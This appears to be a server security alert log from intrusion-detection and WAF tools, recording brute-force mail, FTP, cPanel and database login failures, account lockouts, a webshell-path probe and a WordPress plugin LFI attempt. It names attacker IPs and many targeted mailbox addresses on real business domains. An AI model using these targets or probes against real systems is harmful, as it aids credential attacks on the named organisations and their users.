name: FTP Authentication failed.
abuser: 34.76.44.148
country_id: 2802361
description:
Feb  1 06:50:43 sv3 pure-ftpd[616502]: (?@34.76.44.148) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.176.6
country_id: 1835841
description:
2026-02-01 06:50:23 dovecot_login authenticator failed for H=([222.120.176.6]) [222.120.176.6]:46752: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:50:14 dovecot_login authenticator failed for H=(uRxFlShHT) [178.16.52.139]:55244: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:50:22 dovecot_login authenticator failed for H=(4OsejJ9qDF) [158.94.208.175]:53758: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:51:03 dovecot_login authenticator failed for H=(QuhgoqrD) [158.94.208.215]:51835: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:51:12 dovecot_login authenticator failed for H=(yMrOhv) [185.36.81.54]:57819: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:51:22 dovecot_login authenticator failed for H=(FZAQwTl1PE) [158.94.208.175]:63065: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.227.245.154
country_id: 690791
description:
2026-02-01 06:52:02 dovecot_login authenticator failed for H=(213-227-245-154.static.vega-ua.net) [213.227.245.154]:17108: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:51:21 dovecot_login authenticator failed for H=(GSWyQyli6Y) [178.16.54.22]:53154: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 35.233.96.173
country_id: 2802361
description:
Feb  1 06:51:08 sv3 pure-ftpd[616607]: (?@35.233.96.173) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:51:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@aire-fresh.com has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 06:52:22 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52240: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-02-01 06:52:24 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:36172: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.189.239.206
country_id: 1814991
description:
2026-02-01 06:52:36 dovecot_login authenticator failed for H=([220.189.239.206]) [220.189.239.206]:56918: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:52:37 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-02-01 06:52:52 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:45150: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:52:04 dovecot_login authenticator failed for H=(mXeGa3guc) [185.36.81.54]:57182: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:52:15 dovecot_login authenticator failed for H=(lwwvtW) [158.94.208.215]:61385: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.90.120.53
country_id: 1814991
description:
2026-02-01 06:52:42 dovecot_login authenticator failed for H=([218.90.120.53]) [218.90.120.53]:40954: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.142.194
country_id: 1269750
description:
2026-02-01 06:52:55 dovecot_login authenticator failed for H=(abts-north-static-194.142.160.122.airtelbroadband.in) [122.160.142.194]:37320: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.247.171.186
country_id: 1814991
description:
2026-02-01 06:52:16 dovecot_login authenticator failed for H=([218.75.123.109]) [183.247.171.186]:42500: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:52:25 dovecot_login authenticator failed for H=(bsDQbc87) [158.94.208.175]:55937: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:53:28 dovecot_login authenticator failed for H=(4gYxiQV) [158.94.208.175]:50359: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.93.90
country_id: 1269750
description:
2026-02-01 06:53:08 dovecot_login authenticator failed for H=([182.95.20.228]) [122.186.93.90]:44166: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.40.62.29
country_id: 6252001
description:
[2026-02-01 06:53:43 +0800] info [webmaild] 149.40.62.29 - rafidah@pspoly.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.62.141.12
country_id: 99237
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/swiftmailer/swiftmailer/lib/classes/Swift/NullTransport.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:53:25 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:53:03 dovecot_login authenticator failed for H=(KKGKK2Yu) [158.94.208.215]:56246: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.178.185.141
country_id: 1835841
description:
2026-02-01 06:53:16 dovecot_login authenticator failed for H=([121.178.185.141]) [121.178.185.141]:42012: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:53:35 dovecot_login authenticator failed for H=(QLYS6R5) [158.94.208.175]:60385: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:53:45 dovecot_login authenticator failed for H=(WYGNIxheP) [185.36.81.54]:64611: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:54:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:54:15 dovecot_login authenticator failed for H=(gY5fIMi) [158.94.208.215]:54555: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 06:54:21 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:42590: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:54:22 dovecot_login authenticator failed for H=(DLzXWym4) [158.94.208.175]:59997: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.40.62.29
country_id: 6252001
description:
[2026-02-01 06:54:39 +0800] info [webmaild] 149.40.62.29 - rafidah@pspoly.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:54:41 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50250: 535 Incorrect authentication data (set_id=testing@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:55:03 dovecot_login authenticator failed for H=(mCs6OdNRr) [158.94.208.175]:53563: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:55:03 dovecot_login authenticator failed for H=(owmI7efy) [158.94.208.215]:57726: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:55:16 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:52138: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:56:02 dovecot_login authenticator failed for H=(OQL02WZ) [178.16.52.139]:64522: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.40.62.29
country_id: 6252001
description:
[2026-02-01 06:55:03 +0800] info [webmaild] 149.40.62.29 - rafidah@pspoly.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.58.242
country_id: 1835841
description:
2026-02-01 06:55:04 dovecot_login authenticator failed for H=([61.72.101.1]) [61.72.58.242]:46134: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.124.46
country_id: 1269750
description:
2026-02-01 06:55:12 dovecot_login authenticator failed for H=([122.184.124.46]) [122.184.124.46]:51654: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:55:25 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.144
country_id: 2635167
description:
2026-02-01  6:55:49 206876 [Warning] Aborted connection 206876 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.144' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.144
country_id: 2635167
description:
2026-02-01  6:56:17 206892 [Warning] Aborted connection 206892 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.144' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 06:56:24 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36234: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.73.195.38
country_id: 6252001
description:
[2026-02-01 06:56:55 +0800] info [cpaneld] 68.73.195.38 - kimmar "GET /login/?login_only=1&user=kimmar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kimmar (has_cpuser_file failed)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:56:11 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:56973: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:56:17 dovecot_login authenticator failed for H=(tF6nsIZMsq) [158.94.208.175]:62428: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:56:42 dovecot_login authenticator failed for H=(p0n0d9v) [178.16.52.139]:60019: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.68.162.123
country_id: 6252001
description:
[2026-02-01 06:56:53 +0800] info [cpaneld] 174.68.162.123 - kimmarkcom "GET /login/?login_only=1&user=kimmarkcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kimmarkcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.231.92.62
country_id: 6252001
description:
[2026-02-01 06:56:58 +0800] info [cpaneld] 47.231.92.62 - kimma "GET /login/?login_only=1&user=kimma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kimma (has_cpuser_file failed)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:56:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.32.144.251
country_id: 6252001
description:
[2026-02-01 06:56:46 +0800] info [cpaneld] 50.32.144.251 - kimmark "GET /login/?login_only=1&user=kimmark&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.144.226.165
country_id: 6252001
description:
[2026-02-01 06:56:49 +0800] info [cpaneld] 75.144.226.165 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:56:15 dovecot_login authenticator failed for H=(UklNnV53) [158.94.208.215]:56563: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.131.104.143
country_id: 6252001
description:
[2026-02-01 06:57:02 +0800] info [cpaneld] 216.131.104.143 - kimm "GET /login/?login_only=1&user=kimm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kimm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.139.100.98
country_id: 6252001
description:
[2026-02-01 06:57:08 +0800] info [cpaneld] 71.139.100.98 - ki "GET /login/?login_only=1&user=ki&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ki (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 32.216.56.131
country_id: 6252001
description:
[2026-02-01 06:57:05 +0800] info [cpaneld] 32.216.56.131 - kim "GET /login/?login_only=1&user=kim&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kim (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:57:15 dovecot_login authenticator failed for H=(toK4HA) [178.16.52.139]:57867: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:57:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@aire-fresh.com has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:57:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:57:03 dovecot_login authenticator failed for H=(fWXxk0) [158.94.208.215]:56537: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:57:16 dovecot_login authenticator failed for H=(eZKUdc) [158.94.208.175]:50326: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.178.39.106
country_id: 1814991
description:
2026-02-01 06:58:43 dovecot_login authenticator failed for H=([220.178.39.106]) [220.178.39.106]:53252: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.93.156.245
country_id: 1269750
description:
2026-02-01 06:58:52 dovecot_login authenticator failed for H=([59.93.156.245]) [59.93.156.245]:48532: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 06:58:26 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:44530: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:58:15 dovecot_login authenticator failed for H=(zUGxgn) [158.94.208.215]:54460: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:58:15 dovecot_login authenticator failed for H=(n1wEbl) [158.94.208.175]:56316: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:59:56 dovecot_login authenticator failed for H=(xeUloH) [158.94.208.175]:62923: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:59:03 dovecot_login authenticator failed for H=(OuCBKU0U) [158.94.208.215]:64454: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:59:10 dovecot_login authenticator failed for H=(2ftxQzEKP) [158.94.208.175]:58808: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.145.5.14
country_id: 1835841
description:
2026-02-01 07:00:23 dovecot_login authenticator failed for H=([220.67.138.254]) [221.145.5.14]:51448: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:00:29 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33866: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/img/photos/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.199
country_id: 6252001
description:
2026-02-01  7:00:52 207015 [Warning] Aborted connection 207015 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.199' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:00:06 dovecot_login authenticator failed for H=(cqb0hTg6) [158.94.208.175]:55172: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.61.36.22
country_id: 1835841
description:
2026-02-01 07:00:08 dovecot_login authenticator failed for H=([125.61.36.25]) [125.61.36.22]:34702: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:00:15 dovecot_login authenticator failed for H=(GvHUYVRRA) [158.94.208.215]:60705: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.144
country_id: 2635167
description:
2026-02-01  7:00:22 207002 [Warning] Aborted connection 207002 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.144' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.223.36.108
country_id: 3932488
description:
2026-02-01 07:00:29 dovecot_login authenticator failed for H=([190.223.36.108]) [190.223.36.108]:41160: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:01:25 dovecot_login authenticator failed for H=(jmBhbsO) [158.94.208.215]:55727: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:01:53 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:60089: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-02-01 07:01:10 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:33134: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 07:01:47 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.181.247.246
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=603677 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:01:19 dovecot_login authenticator failed for H=(WUzyFk) [158.94.208.175]:63101: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-01 07:01:22 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:41080: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:02:15 dovecot_login authenticator failed for H=(mzEItMG) [158.94.208.175]:64583: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 07:02:19 dovecot_login authenticator failed for H=(JI2HDR) [178.16.52.139]:63137: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:02:32 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50434: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:02:06 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:55208: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:02:13 dovecot_login authenticator failed for H=(F7OJMeg) [158.94.208.215]:52259: 535 Incorrect authentication data (set_id=sales)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.39.80
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=74 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 07:02:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.159.71.249
country_id: 1835841
description:
2026-02-01 07:02:54 dovecot_login authenticator failed for H=([121.159.71.249]) [121.159.71.249]:57106: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 07:03:20 dovecot_login authenticator failed for H=(OEhAAYV) [178.16.52.139]:52714: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-02-01 07:03:52 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:48290: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-02-01 07:03:06 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:64688: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 07:03:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 07:03:48 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:03:06 dovecot_login authenticator failed for H=(5ON9LPwN) [158.94.208.175]:59993: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:03:18 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:58470: 535 Incorrect authentication data (set_id=test@mamstg.manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:03:50 dovecot_login authenticator failed for H=(jyZ1PTLD) [158.94.208.175]:57890: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:03:01 dovecot_login authenticator failed for H=(LrIDv11j) [158.94.208.215]:51684: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 07:04:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:04:13 dovecot_login authenticator failed for H=(tyB0EP) [158.94.208.215]:60953: 535 Incorrect authentication data (set_id=sales)


plugin: modsec
rule: 77789665
abuser: 176.65.139.8
country_id: 2921044
domain: 42.0.28.25:80
name:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)

description:
